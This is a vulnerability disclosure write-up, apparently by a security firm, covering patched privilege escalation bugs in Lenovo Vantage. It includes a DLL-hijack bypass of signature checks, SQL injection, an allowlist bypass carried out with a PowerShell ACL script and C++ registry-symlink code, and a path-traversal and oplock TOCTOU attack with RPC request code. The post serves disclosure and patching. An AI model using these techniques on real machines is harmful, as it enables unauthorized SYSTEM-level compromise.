Uncovering Privilege Escalation Bugs in Lenovo Vantage

This post details several privilege escalation vulnerabilities Atredis identified in Lenovo Vantage, a common management platform bundled with Lenovo laptops. We'll detail Vantage's architecture and its implications in the impact, and mitigation of, the logic bugs identified. The following CVEs were assigned to track the described issues:

Patches were released on July 8th to remediate all findings (LEN-196648). A full disclosure timeline is included at the bottom of this post.

Lenovo Vantage

Architecture

Lenovo Vantage comes pre-installed on Lenovo laptops and provides device updating capabilities, configuration nobs, and overall health and maintenance functionality. It's designed to be modular and pluggable with a single Vantage service running as SYSTEM and add-ins loaded and unloaded as needed. All components are written in C# which vastly simplifies the reverse engineering process due to the recoverability of pseudocode from MSIL (Microsoft Intermediate Language). The following diagram describes its architecture at a high level:

Lenovo Vantage Architecture

The Vantage service spins up an RPC endpoint that add-ins, and GUI clients, can connect into to submit requests. Importantly, add-ins themselves also expose RPC endpoints and communicate with the Vantage service via RPC. Requests are JSON and take the following form:

{
    "contract"    : "Target",
    "command"     : "Command",
    "payload"     : "EncodedPayload",
    "targetAddin" : "Unused",
    "clientId"    : "12",
    "CallerPid"   : 12
}

We observed only the first three values used throughout Vantage.

The Vantage service handles routing requests to registered add-ins, which are described by XML files located in the root folder of each add-in at %ProgramData%\Lenovo\Vantage\Addins. For example, the SmartInteractAddin exposes three contracts:

<Contracts>
    <Contract name="SystemManagement.SmartGesture" />
    <Contract name="SystemManagement.PrecisionTouchPad" />
    <Contract name="SystemManagement.VisionProtection" />
  </Contracts>

In addition to contract definitions, the add-in XML files specify other runtime configuration such as event subscriptions and signature blocks. SmartInteractAddin configures itself with the following:

<Addin name="SmartInteractAddin" version="1.0.3.64" isRollback="false" secondaryServer="false" noSWFlags="false" armReady="false" platform="MSIL" runas="user">

The runas key designates execution context of the add-in. Of the approximately 20 add-ins supported by Vantage, 5 of them run under an elevated context.

In order to pass requests through to the Vantage service and its registered add-ins, clients must be considered trusted. A rudimentary authentication routine is implemented in the Vantage service and performs the following:

RPC Authorization Check

Ostensibly, the determinitive check is the digital signature verification of the client's process. If the assembly is not signed by Lenovo then the client is considered untrusted and the request rejected. This is a very common strategy employed by various laptop and software vendors, including Dell, Asus, and Symantec, and is trivial to bypass. Three options quickly come to mind:

  1. Leverage common remote process injection techniques (CreateRemoteThread)
  2. Identify a signed Lenovo binary loading DLLs from the local path and hijack
  3. Create a UWP app

We found the second option to be simplest and ended up leveraging FnhotkeyWidget.exe to facilitate access to the RPC endpoints. This binary attempts to load a few DLLs from the local path which we can hijack by copying the binary to a writable location. We then put a DLL named profapi.dll in the local path of the binary and executed to obtain code execution within the signed binary.

Sending Requests

Since each add-in communicates with the Vantage service over RPC, Lenovo developed a standard RPC client to generically support all clients. Lenovo.Vantage.RpcClient.dll is a C# DLL exposing common communication routines and transparently supporting various architectures. It can be used as follows to send a request to the Vantage RPC endpoint:

Dictionary<string, string> DiskSpaceRequest = new Dictionary<string, string>()
{
    { "contract", "SystemOptimization.SystemUpdate" },
    { "command", "Get-FreeDiskSpace" },
};
string requestStr = JsonConvert.SerializeObject(DiskSpaceRequest);      

RpcClient client = new RpcClient();
string text = client.MakeRequest(requestStr, delegate(string response)
{
    return Lenovo.Vantage.RpcCommon.RpcCallbackResult.Ok;
});

With that we can now access the Vantage RPC endpoint and subsequently registered add-in interfaces.

We initially began by mapping out available contracts to add-ins running in an elevated context. Five of the 20 add-ins were running as SYSTEM: CommercialAddin, LenovoAuthenticationAddin, LenovoHardwareScanAddin, LenovoSystemUpdateAddin, and VantageCoreAddin. The VantageCoreAddin is the core service add-in that runs perpetually along side Lenovo Vantage and provides a variety of basic system functionality services. We began our research here and identified two issues.

CVE-2025-6230

The first set of bugs Atredis identified were within the Vantage service core routines. Though nearly all functionality and request handlers are implemented via add-ins, several core contracts exist within Vantage itself.

One of these is within VantageCoreAddin which is responsible for basic functionality on the host, such as fetching system information, starting bluetooth scans, and updating the add-in settings database. One of the supported commands, Lenovo.Vantage.AddinSetting, is used to configure local Vantage settings. These settings live in a SQLite database at C:\ProgramData\Lenovo\Vantage\Settings\LocalSettings.db and are accessible only to the SYSTEM account.

When processing a DeleteTable command, the payload is expected to contain an embedded JSON package containing the table name which is then purged from the database:

using (SQLiteCommand sqliteCommand = LocalSettingsDb._dbConnection.CreateCommand())
{
    string commandText = string.Format("drop table {0}", localSetting.Component) ?? "";
    sqliteCommand.CommandText = commandText;
    sqliteCommand.ExecuteNonQuery();
}

Unlike the read and write functions, no attempt to sanitize the localSetting.Component field is performed and arbitrary values can be added to the SQL query. Further, though SQLite by default does not support stacked queries, the .NET library used (the official SQLite library) supports them. This means we can execute as many arbitrary queries as necessary.

A second instance of SQL injection exists within the DeleteSetting handler:

using SQLiteCommand sQLiteCommand = _dbConnection.CreateCommand();
string commandText = $"delete from {localSetting.Component} where Key=@key and UserName=@username" ?? "";
sQLiteCommand.Parameters.Add("@key", DbType.String).Value = localSetting.Key;
sQLiteCommand.Parameters.Add("@username", DbType.String).Value = localSetting.UserName;
sQLiteCommand.CommandText = commandText;
sQLiteCommand.ExecuteNonQuery();

While the key and username fields are properly prepared, the localSetting.Component field is not sanitized or prepared leading to SQL injection.

Exploiting these bugs is a little tricky; although we can deliver stacked queries, we are not able to directly execute code through user-defined functions (UDF) or extensions as they are disabled by default. We are able to create arbitrarily named files and influence their content, but cannot craft well-formed files.

CVE-2025-6232

A third vulnerability identified by Atredis is more interesting. This issue resides in the same Vantage service as above, but this time in the Set-KeyChildren command which is used to update user settings in the registry found at HKCU\SOFTWARE\Lenovo. A complimentary Get-KeyChildren command also exists, but is not restricted to that registry path. Requests are first deserialized into a KeyChildrenRequest, which looks something like the following:

KeyChildrenRequest keyChildrenRequest = new KeyChildrenRequest
{
    KeyList = new KeyList[]
    {
        new KeyList
        {
            Location = @"HKCU\SOFTWARE\Lenovo\Test",
            KeyChildren = new KeyChild[]
            {
                new KeyChild
                {
                    Type = RegistryKind.String,
                    Name = "Test",
                    Value = "Hello!"
                }
            }
        }
    }
};

This would create the string value Test under HKCU\SOFTWARE\Lenovo\Test. Before performing the registry write, VantageCoreAddin first checks if the Location is allowlisted:

private static readonly IEnumerable<string> WhiteList = new List<string> { "HKCU\\SOFTWARE\\Lenovo" };
...
KeyList[] keyList = keyChildrenRequest.KeyList;
foreach (KeyList key in keyList)
{
    try
    {
        if (WhiteList.Any((string f) => key.Location.IndexOf(f, StringComparison.OrdinalIgnoreCase) >= 0))
        {
            KeyChild[] keyChildren = key.KeyChildren;
            foreach (KeyChild keyChild in keyChildren)
            {
                RegistryQuery.WriteValue(key.Location, keyChild.Name, keyChild.Value, view64: true,
                                                           (RegistryValueType)keyChild.Type);
            }
        }
    }
        ...

However, the check is only validating that the string is within the provided location (via IndexOf(..) >= 0) not necessarily that it is in actuality. For example:

HKLM\SOFTWARE\Lenovo\HKCU\SOFTWARE\Lenovo

Because the allowlisted string is present in the path the write would be allowed. Typically the HKLM hive is not accessible to unprivileged users as this could lead to a compromise of the host machine. However, we discovered a number of Lenovo-specific keys that were writable by unprivileged desktop users:

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\ExtremeBatteryLife
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Gadget
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Log

All four of the above keys were owned by the local user and thus could be written into and modified:

RegistryRights    : FullControl
AccessControlType : Allow
IdentityReference : a-pdx1\bja
IsInherited       : True
InheritanceFlags  : None
PropagationFlags  : None

Note that other HKLM keys existed that were writable to the user. The Lenovo paths were chosen due to portability. Additionally, we cannot create a symlink between HKCU and HKLM due to a mitigation Microsoft added that prevents symlinks from unprivileged hives to privileged hives (see this for more details).

In order to exploit this, an attacker first needs to modify the key DACL to provide subkey inheritance. In its default state, while the bja user owns the key and can create subkeys, those subkeys do not inherit parent permissions (see InheritanceFlags above). This will be necessary for the upcoming step. The following Powershell script can be used to create a new DACL for the owner with inheritable permissions:

$regPath = "HKLM:\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1"
$identity = "a-pdx1\bja"

$acl = Get-Acl -Path $regPath
$existingRights = $null
foreach ($rule in $acl.Access) {
    if ($rule.IdentityReference -eq $identity) {
        $existingRights = $rule.RegistryRights
        break
    }
}

$inheritanceFlags = [System.Security.AccessControl.InheritanceFlags]::ContainerInherit
$propagationFlags = [System.Security.AccessControl.PropagationFlags]::None
$accessRule = New-Object System.Security.AccessControl.RegistryAccessRule(
    $identity, 
    $existingRights, 
    $inheritanceFlags, 
    $propagationFlags, 
    [System.Security.AccessControl.AccessControlType]::Allow
)

$acl.AddAccessRule($accessRule)
Set-Acl -Path $regPath -AclObject $acl

Once set, we create the following path:

HKLM\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1\HKCU\SOFTWARE\Lenovo

Finally, we create a symbolic link from that location to our destination path. The following C++ code sets up the symbolic link to modify and add values in HKLM\SOFTWARE\Lenovo:

void CreateRegSymlink()
{
   LSTATUS status = RegCreateKeyEx(HKEY_LOCAL_MACHINE, 
                          L"SOFTWARE\\WOW6432Node\\Lenovo\\PWRMGRV\\ConfKeys\\Data\\Battery1\\HKCU\\SOFTWARE\\Lenovo\\Test", 
                          0, 
                          nullptr,
                      REG_OPTION_CREATE_LINK, 
                          KEY_WRITE, 
                          nullptr, 
                          &hKey, 
                          nullptr);
  if (status != ERROR_SUCCESS)
  {
    printf("Failed to create key: %08x\n", status);
    return;
  }

  WCHAR path[] = L"\\REGISTRY\\MACHINE\\SOFTWARE\\Lenovo";
  status = RegSetValueEx(hKey, L"SymbolicLinkValue", 0, REG_LINK, (const BYTE*)path, wcslen(path) * sizeof(WCHAR));
  if (status != ERROR_SUCCESS) {
    printf("Failed to create symlink: %08x\n", status);
  }

  RegCloseKey(hKey);
}

All registry writes to HKLM\SOFTWARE\WOW6432Node\Lenovo\PWRMGRV\ConfKeys\Data\Battery1\HKCU\SOFTWARE\Lenovo\Test will now be written to HKLM\SOFTWARE\Lenovo.

To exploit this, an attacker can modify the image path of an existing service that unprivileged users can start. This would allow the attacker to execute arbitrary binaries with elevated privileges.

CVE-2025-6231

The fourth bug identified by Atredis resides in the LenovoSystemUpdateAddin, which is responsible for managing Vantage and Vantage add-in updates in addition to third-party software managed by Lenovo. This bug is a combination of two logic issues: a path traversal and a TOCTOU, which when combined lead to LPE.

One of the supported commands, Do-DownloadAndInstallAppComponent, is used to download and install first and third party applications within Lenovo Vantage. It supports five separate actions:

GetStatus,
GetLaunchPath,
DownloadOnly,
InstallOny,
DownloadAndInstall,

The InstallOny (sic) installs an application that already exists on disk as opposed to DownloadOnly which exclusively downloads or DownloadAndInstall which performs both actions. A request to any action type is deserialized into the following object:

public sealed class DownloadAndInstallAppComponentRequest : Serialization<DownloadAndInstallAppComponentRequest>
{
    [JsonProperty("action")]
    [JsonConverter(typeof(StringEnumConverter))]
    [XmlElement("Action", IsNullable = false)]
    public ActionType Action { get; set; }

    [JsonProperty("appID")]
    [XmlElement("AppID", IsNullable = false)]
    public string AppID { get; set; }

    [JsonProperty("prerequisiteText")]
    [XmlElement("PrerequisiteText")]
    public string PrerequisiteText { get; set; }

    [JsonProperty("moveTo")]
    [XmlElement("MoveTo")]
    public string MoveTo { get; set; }

    [JsonProperty("continueDownloadWhileExit")]
    [XmlElement("ContinueDownloadWhileExit")]
    public string ContinueDownloadWhileExit { get; set; }

    [JsonProperty("appName")]
    [XmlElement("AppName")]
    public string AppName { get; set; }
}

At a high level, the InstallOny action performs the following:

  1. Authenticates and parses the app's manifest
  2. Authenticates the application install file
  3. Detects if an installation is already in progress for the app
  4. Extracts and validates the execution context (user, admin, system)
  5. Executes the application installer

An application manifest is an XML file that contains relevant installation metadata and directives, such as installer name, launch path, execution context, and more. Critically it contains signature information to validate the XML file (via the standard Signature block). The function GetAppInformation is responsible for loading, validating, and parsing the target application's manifest. To do this, it performs the following:

string text = string.Empty;
string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),
     "Lenovo\\Vantage\\AddinData\\LenovoSystemUpdateAddin\\GeneralDownload", 
[0]     request.AppID, request.AppID + ".xml");
if (useCachedFile && File.Exists(text2))
{
[1]	if (new XMLFileValidator().GetTrustStatus(text2).Equals(TrustStatus.FileTrusted))
    {
[2]		text = File.ReadAllText(text2, Encoding.UTF8); 
    }
}
else
{
    text = DownloadApplicationDescription(request.AppID, intermediateResponseFunction, token, ref response);
}

There are two bugs in the above code that result in the loading of an untrusted application manifest. First, at [0] we can see the manifest path being created directly with request.AppID. This is provided by the request and is never validated or sanitized. Therefore a user can provide a malicious AppID traversing to a different directory:

{ "AppID", "..\\..\\..\\..\\boo2\\MLeno" }
=> C:\boo2\MLeno.xml

Second, at [1] we see the XMLFileValidator performing an authentication check on the XML. This leverages Lenovo.CertificateValidation.Native.dll!ValidateXmlFile to check the signature block. If its trusted, it then reads the XML content. Because we have modified the manifest file path to a user-controlled location and because the authentication and read operations are not atomic, we can leverage opportunistic locks to modify the contents of the XML file.

To do this, we can use the open source BaitAndSwitch tool to setup a symbolic link to a trusted manifest for the initial XMLFileValidator read [1], then modify the symlink to our modified and untrusted manifest for the subsequent read [2]:

>BaitAndSwitch.exe c:\boo2\MLeno.xml c:\boo\MLenoReal.xml c:\boo\MLenoMy.xml rwdx

We then point our AppID at the boo2 path to trigger the swap. The following request can be used to perform this:

Dictionary<string, string> InstallAppPayload = new Dictionary<string, string>()
 {
     { "Action", "InstallOny" },
     { "AppID", "..\\..\\..\\..\\boo2\\MLeno" }
 };

 Dictionary<string, string> InstallAppDirect = new Dictionary<string, string>()
  {
      { "contract", "SystemOptimization.SystemUpdate" },
      { "command", "Do-DownloadAndInstallAppComponent" },
      { "payload", JsonConvert.SerializeObject(InstallAppPayload) }
  };

 RpcClient client = new RpcClient();
 string text = client.MakeRequest(JsonConvert.SerializeObject(InstallAppDirect), delegate(string response)
 {
     Console.WriteLine($"progress response: {response}");
     return Lenovo.Vantage.RpcCommon.RpcCallbackResult.Ok;
 });

This provides us with a powerful primitive to perform actions with unauthenticated application manifests.

During the installation process Vantage will use the application manifest to determine certain configuration settings for the install, such as image path, arguments, user context, and more. Numerous options exist at this point to obtain elevated control. Crucially, though we have full control over the manifest, we are not able to execute arbitrary executables. This is not due to any signature checks, but rather a path check that prevents where we can launch one from. While this is a weak mitigation with vulnerable edge cases, it restricts access under default conditions. Nonetheless, other options for elevated access exist.

One option for escalation is to set user context to Admin which uses Powershell to run the installer:

string text7 = ((!string.IsNullOrEmpty(info.Install.CmdParameter?.Content)) ? ("-ArgumentList \"" + info.Install.CmdParameter.Content + "\"") : string.Empty);
empty = "exit (Start-Process -PassThru -Wait -FilePath \"" + text + "\" " + text7 + " -Verb runas).ExitCode";
empty2 = Convert.ToBase64String(Encoding.Unicode.GetBytes(empty));
empty3 = text3 + " " + empty2 + " " + text4;
    
return ProcessLauncher.LaunchUserProcess(text2, empty3, null, visible);

info.Install.CmdParameter can be fully controlled by the attacker and is not validated prior to use. This method would require the user to click through a UAC prompt, but the launch would be for the valid installer. An attacker could include a second Start-Process call, modify the execution environment of the executable (and thus its search path), tamper with the installer environment, and more.

A second method occurs under the SYSTEM account. Similar to the admin case, under this flow command parameters are never validated. This allows an attacker to provide arguments to installers or any files setup via this path. We noticed a variety of installers available via the application server, including InstallBuilder, MSI, and Inno Setup, all of which support command line flags to configure the process.

Patching

Lenovo released patches on July 8th for the above vulnerabilities and should arrive automatically. To validate you are adequately patched, validate the version for the following add-ins:

  • VantageCoreAddin >= 1.0.0.199
  • LenovoSystemUpdateAddin >= 1.0.24.32

You can find add-in versions either in their respective XML descriptors or in their install paths at C:\ProgramData\Lenovo\Vantage\Addins.

Finally, ensure Vantage Commercial is fully up to date:

  • Lenovo Vantage >= 10.2501.20.0
  • Lenovo Commercial Vantage >= 20.2506.39.0

Timeline

  • 2025-04-25: Atredis Partners sent an initial notification to vendor, including a draft advisory
  • 2025-04-25: Lenovo acknowledges receipt of the advisory and provides an internal tracking number
  • 2025-05-19: Lenovo provides an update on remediation and sets an initial patch date of 7/8/25
  • 2025-06-12: Lenovo inquires about retesting and asks a follow up question on findings
  • 2025-06-27: Lenovo provides CVEs and retesting information
  • 2025-07-08: Lenovo releases patches and advisory
  • 2025-07-09: Atredis releases public blogpost
Next
Next

A Peek into an In-Game Ad Client